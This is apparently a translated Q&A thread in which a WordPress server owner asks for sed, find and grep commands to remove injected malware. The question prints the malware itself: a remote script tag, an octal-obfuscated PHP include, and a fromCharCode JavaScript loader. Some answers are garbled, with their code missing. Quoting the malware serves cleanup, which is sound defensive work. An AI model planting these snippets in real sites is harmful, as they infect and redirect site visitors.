Entonces, todo mi servidor fue pirateado o tuvo el problema del malware. mi sitio está basado en WordPress y la mayoría de los sitios alojados en mi servidor está basado en WordPress. El hacker agregó esta línea de código a cada archivo y en la base de datos
<script type='text/javascript' src='https://scripts.trasnaltemyrecords.com/talk.js?track=r&subid=547'></script>
Lo busqué a través de grep usando
grep -r "trasnaltemyrecords" /var/www/html/{*,.*}
Estoy tratando de reemplazarlo en toda la estructura del archivo sed
y he escrito el siguiente comando.
sed -i 's/\<script type=\'text\/javascript\' src=\'https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547\'\>\<\/script\>//g' index.php
Estoy tratando de reemplazar la cadena en un solo archivo index.php
primero, así que sé que funciona.
y sé que mi código está mal Por favor, ayúdame con esto.
Intenté con el código de @ Eran y eliminó toda la línea, lo cual es bueno y como se esperaba. Sin embargo, la jerga total es esta
/*ee8fa*/
@include "\057va\162/w\167w/\167eb\144ev\145lo\160er\141si\141/w\160-i\156cl\165de\163/j\163/c\157de\155ir\162or\057.9\06770\06637\070.i\143o";
/*ee8fa*/
Y aunque deseo eliminar todo el contenido, deseo mantener la etiqueta de apertura de php <?php
.
Aunque la solución de @ slybloty es fácil y funcionó.
para eliminar completamente el código de todos los archivos afectados. Estoy ejecutando los siguientes 3 comandos, gracias a todos por esto.
find . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i "s/<script type='text\/javascript' src='https:\/\/scripts.trasnaltemyrecords.com\/talk.js?track=r&subid=547'><\/script>//g"
- Para eliminar la línea de scriptfind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/057va/d'
- Para quitar la@include
líneafind . -type f -name '*.php' -print0 | xargs -0 -t -P7 -n1 sed -i '/ee8fa/d'
- Para eliminar la línea de comentario
Además, ejecuté los 3 comandos nuevamente '*.html'
, porque el script del hacker creó index.html no deseado en todos los directorios. No estaba seguro si eliminar estos index.html en masa es el enfoque correcto.
ahora, todavía necesito averiguar los archivos basura y las huellas de los mismos.
La secuencia de comandos hacker también agregó el código JS.
var pl = String.fromCharCode(104,116,116,112,115,58,47,47,115,99,114,105,112,116,115,46,116,114,97,115,110,97,108,116,101,109,121,114,101,99,111,114,100,115,46,99,111,109,47,116,97,108,107,46,106,115,63,116,114,97,99,107,61,114,38,115,117,98,105,100,61,48,54,48); s.src=pl;
if (document.currentScript) {
document.currentScript.parentNode.insertBefore(s, document.currentScript);
} else {
d.getElementsByTagName('head')[0].appendChild(s);
}
Tratando de ver si puedo sed
hacerlo también.
while read -r filename; do sed -i '/trasnaltemyrecords/d' "$filename"; done <<< "$(grep -lr trasnaltemyrecords /var/www/html/{*,.*})"
la-l
opción solo proporciona el nombre del archivo y no el texto correspondiente.sed -i
. Por ejemplo,sed -i.bak
creará un*.bak
archivo para todos los archivos que se editan. Cuando se usa con elwhile...grep
bucle, solo hará una copia de seguridad de los archivos que contengan esa cadena. Perdón por todos los comentarios adicionales, pero en mi opinión, el malware es un escenario de "todas las manos en cubierta".Respuestas:
Use comillas dobles (
"
) para la cadena y no escape las comillas simples ('
) ni las etiquetas (<>
). Solo escapa de las barras (/
).fuente
Cualquiera sea el método que decida usar con sed, puede ejecutar múltiples procesos simultáneamente en múltiples archivos con opciones de filtrado perfectas con
find
yxargs
. Por ejemplo:Va a:
find
- encontrar-type f
- solo archivos-name '*.txt'
- que termina con php-print0
- pritnlos separados por cero bytes| xargs -0
- para cada archivo separado por cero byte-P7
- ejecuta 7 procesos de forma concisa-n1
- para cada archivosed
- para cada archivo ejecutado sed-i
- edite el archivo en su lugar'...'
- el script sed que desea ejecutar desde otras respuestas.Es posible que desee agregar una
-t
opciónxargs
para ver el progreso. Ver man find (man args] ( http://man7.org/linux/man-pages/man1/xargs.1.html ).fuente
Las comillas simples se toman literalmente sin caracteres de escape. En
var='hello\''
, tiene una cotización no cerrada.Para solucionar este problema, 1) Use comillas dobles para rodear el
sed
comando O 2) Termine la cadena entre comillas simples, agregue\'
y vuelva a abrir la cadena de comillas.Sin embargo, el segundo método es más confuso.
Además,
sed
puede usar cualquier delimitador para separar comandos. Como tiene barras en los comandos, es más fácil usar comas. Por ejemplo, usando el primer método:Usando el segundo método:
Este ejemplo es más educativo que práctico. Así es como
'\''
funciona:Primero
'
: Finalizar la cadena literal citada actual\'
: Ingrese comillas simples como caracteres literalesSegundo
'
: Reingrese la cadena literal citadaMientras no haya espacios allí, solo continuará su
sed
comando. Esta idea es exclusiva debash
.Dejo el escape
<
y>
allí porque no estoy completamente seguro de para qué lo estás usando.sed
utiliza el\<
y\>
para significar coincidencia de palabras. No estoy seguro de si eso es intencional o no.Si esto no coincide con nada, entonces probablemente desee evitar escapar de
<
y>
.Editar: consulte la solución de @ EranBen-Natan en los comentarios para obtener una solución más práctica al problema real. Mi respuesta es más un recurso en cuanto a por qué se le solicitó a OP más información con su comando original.
Solución para editar 2
Para que esto funcione, supongo que
sed
tiene la opción no estándar-z
. La versión de GNUsed
debería tener esto. También estoy asumiendo que este código siempre aparece en el formato de 6 líneas de largoCómo funciona: estamos utilizando el comienzo de la línea fromCharCode para que coincida con todo.
-z
divide el archivo en nulos en lugar de nuevas líneas. Esto nos permite buscar saltos de línea directamente.[^\n]*\n
- Esto coincide con todo hasta un avance de línea, y luego coincide con el avance de línea, evitando la coincidencia codiciosa de expresiones regulares. Debido a que no estamos dividiendo los saltos de línea (-z
), la expresión regularvar pl = String\.fromCharCode(104,116,116,112,115' .).*\n}\n
coincide con la mayor coincidencia posible. Por ejemplo, si\n}\n
apareciera en algún lugar más abajo en el archivo, eliminaría todo el código entre allí y el código malicioso. Por lo tanto, repetir esta secuencia 6 veces nos hace coincidir con el final de la primera línea y con las siguientes 5 líneas.grep -lr
- Solo un recursivogrep
donde solo enumeramos los archivos que tienen el patrón correspondiente. De esta manera,sed
no está editando todos los archivos. Sin esto,-i.bak
(no está claro-i
) haría un desastre.fuente
rsync
hacer una copia de seguridad y restaurar.¿Tiene instalado el complemento wp-mail-smtp? Tenemos el mismo malware y teníamos algo extraño
wp-content/plugins/wp-mail-smtp/src/Debug.php
.Además, el enlace de JavaScript está en todos los
post_content
campos de lawp_posts
base de datos de WordPress.fuente
super-socialat
, verifique eso también.Hoy recibí lo mismo, todas las publicaciones de la página agregaron este desagradable script de virus
Lo deshabilité de la base de datos por
No tengo archivos infectados al menos
no encontré nada, pero no tengo idea de cómo llegó esto a la base de datos de la que no estoy nada tranquilo.
Esta infección causó redireccionamientos en las páginas, Chrome principalmente detecta y bloquea esto. No noté nada extraño en - /wp-mail-smtp/src/Debug.php
fuente
Hoy tengo lo mismo, todas las publicaciones de la página tienen el script agregado. Me las he arreglado con éxito usando https://en.wordpress.org/plugins/search-and-replace/ plugin.
Además, también he encontrado un registro en la columna wp_posts post_content column siguiente cadena:
y lo eliminé manualmente.
fuente
Para mí funcionó esto:
Tienes que buscar: * .js, * .json, * .map
fuente